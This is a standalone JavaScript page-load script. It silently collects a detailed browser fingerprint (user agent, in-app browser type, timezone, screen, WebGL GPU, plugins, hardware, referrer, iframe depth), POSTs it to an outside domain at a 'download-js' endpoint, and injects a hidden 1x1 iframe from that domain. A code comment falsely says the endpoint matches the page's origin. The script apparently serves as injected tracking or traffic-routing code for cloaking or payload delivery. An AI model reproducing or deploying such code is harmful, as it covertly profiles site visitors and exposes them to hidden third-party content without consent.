window.onload = () => {
            function detectOS(ua) {
          if (/windows phone/i.test(ua)) return "Windows Phone";
          if (/android/i.test(ua))       return "Android";
          if (/iPad|iPhone|iPod/.test(ua)) return "iOS";
          if (/Macintosh/.test(ua))      return "macOS";
          if (/Windows NT/.test(ua))     return "Windows";
          if (/Linux/.test(ua))          return "Linux";
          return "Unknown";
        }

        function detectBrowser(ua) {
          ua = ua.toLowerCase();
          if (ua.includes('fbav'))         return "Facebook In-App Browser";
          if (ua.includes('instagram'))    return "Instagram In-App Browser";
          if (ua.includes('line'))         return "LINE In-App Browser";
          if (ua.includes('tiktok'))       return "TikTok In-App Browser";
          if (ua.includes('wv') && ua.includes('android')) return "Android WebView";
          if (ua.includes('crios')  && !ua.includes('chrome'))  return "iOS Chrome WebView";
          if (ua.includes('fxios'))        return "iOS Firefox WebView";
          if (ua.includes('edgios'))       return "iOS Edge WebView";
          if (ua.includes('duckduckgo'))   return "DuckDuckGo Browser";
          if (ua.includes('vivaldi'))      return "Vivaldi";
          if (ua.includes('brave'))        return "Brave";
          if (ua.includes('samsungbrowser')) return "Samsung Internet";
          if (ua.includes('tor'))          return "Tor Browser";
          if (ua.includes('edg/'))         return "Microsoft Edge";
          if (ua.includes('opr/') || ua.includes('opera')) return "Opera";
          if (ua.includes('firefox'))      return "Firefox";
          if (ua.includes('chrome') && ua.includes('safari') && !ua.includes('edg')) return "Chrome";
          if (ua.includes('safari') && !ua.includes('chrome')) return "Safari";
          return "Unknown";
        }

        /* --------------------------- main logic --------------------------- */
        function getDeviceInfo() {
          
          console.log("Get fingerprint")
          const ua        = navigator.userAgent || "unknown";
          const platform  = navigator.platform   || "unknown";
          const os        = detectOS(ua);
          const browser   = detectBrowser(ua);

          const languages        = navigator.languages || [navigator.language || "unknown"];
          const tz              = Intl.DateTimeFormat().resolvedOptions().timeZone || "unknown";
          const locale           = Intl.DateTimeFormat().resolvedOptions().locale   || "unknown";
          const dateTime         = new Date().toString();
          const screenRes        = `${screen.width}x${screen.height}`;
          const viewportSize     = `${window.innerWidth}x${window.innerHeight}`;
          const colorDepth       = screen.colorDepth || "unknown";
          const cookieEnabled    = navigator.cookieEnabled || false;
          const javaEnabled      = navigator.javaEnabled ? navigator.javaEnabled() : false;
          const cpuCores         = navigator.hardwareConcurrency || "unknown";
          const deviceMemory     = navigator.deviceMemory ? `${navigator.deviceMemory} GB` : "unknown";
          const referrer         = document.referrer || "none";
          const touchSupport     = 'ontouchstart' in window || navigator.maxTouchPoints > 0;
          const screenOrientation = (screen.orientation || {}).type || "unknown";

          let clipboardAccess = false;
          try { clipboardAccess = !!navigator.clipboard; } catch {}

          let plugins = [];
          try {
            for (let i = 0; i < (navigator.plugins || []).length; i++) {
              plugins.push(navigator.plugins[i].name);
            }
          } catch {}

          let webglInfo = { vendor: 'unknown', renderer: 'unknown' };
          try {
            const canvas = document.createElement('canvas');
            const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
            if (gl) {
              const d = gl.getExtension('WEBGL_debug_renderer_info');
              if (d) {
                webglInfo.vendor   = gl.getParameter(d.UNMASKED_VENDOR_WEBGL);
                webglInfo.renderer = gl.getParameter(d.UNMASKED_RENDERER_WEBGL);
              }
            }
          } catch {}

          let iframeDepthA = 0;
          let currentWindow = window;
          try {
            while (currentWindow !== currentWindow.parent) {
                iframeDepthA++;
                currentWindow = currentWindow.parent;
            }
          } catch (e) {
            console.log("error fetch iframeDepth");
            iframeDepthA = -1;
            console.log(e);
          }
          
          
          const payload = {
            os,
            browser,
            userAgent: ua,
            platform,
            languages,
            timezone: tz,
            locale,
            dateTime,
            screenResolution: screenRes,
            viewportSize,
            colorDepth,
            cookieEnabled,
            javaEnabled,
            cpuCores,
            deviceMemory,
            referrer,
            touchSupport,
            screenOrientation,
            clipboardAccess,
            plugins,
            webglInfo,
            iframeDepthA
          };

          console.log(payload);
          /* Build endpoint so that its origin (scheme+host+port) matches the page. */
          const endpoint =  'https://elevateedifice.com/go/download-js&testId=99e167f3-189c-4b46-8e60-825d5cfa1fa8';

          /* ----   POST (send payload) → GET (check redirect flag) chain   ---- */
          fetch(endpoint, {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify(payload)
          })
          .then(postResp => {
            if (!postResp.ok) throw new Error('POST failed: ' + postResp.status);
          })
          .catch(err => {
            console.error('Error during fetch/redirect:', err);
          });
        }

        getDeviceInfo(); 
        
        const injectIframe = () => {
          const ifrm = document.createElement('iframe');
          ifrm.src = 'https://elevateedifice.com/page-b?testId=99e167f3-189c-4b46-8e60-825d5cfa1fa8';            // usa el src que ya tienes
          ifrm.style.cssText = 'width:1px;height:1px;border:none;';
          document.body.appendChild(ifrm);
        };
        
        if (document.readyState === 'complete') {
          injectIframe();
        } else {
          window.addEventListener('load', injectIframe, { once: true });
        }
        
        }